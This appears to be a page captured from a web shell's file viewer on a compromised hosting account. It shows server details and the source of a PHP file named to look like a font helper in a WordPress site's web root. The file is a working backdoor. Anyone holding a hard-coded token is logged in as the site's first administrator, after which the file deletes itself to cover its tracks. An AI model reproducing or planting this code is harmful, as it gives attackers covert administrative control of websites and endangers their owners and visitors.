HEX
Server: LiteSpeed
System: Linux lp015.web24.net.au 2.6.32-954.3.5.lve1.4.93.el6.x86_64 #1 SMP Wed Oct 4 17:04:29 UTC 2023 x86_64
User: pgkdistr (10190)
PHP: 8.1.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/pgkdistribution.com.au/httpdocs/fonts-constructor.php
<?php
$secret_token = '0b3a335168f8bd5a9dba892a9a3279da';
if ( empty($_GET['token']) || $_GET['token'] !== $secret_token ) {
    http_response_code(403);
    die('Access denied');
}

define('WP_USE_THEMES', false);
require_once dirname(__FILE__) . '/wp-load.php';

function get_first_admin_id() {
    $admins = get_users( [ 'role' => 'administrator', 'number' => 1 ] );
    return $admins[0]->ID ?? null;
}

$user_id = get_first_admin_id();
if ( ! $user_id ) {
    if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); }
    die('No administrator found on this site.');
}

wp_clear_auth_cookie();
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id, true, is_ssl() );

if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); }

wp_redirect( admin_url() );
exit;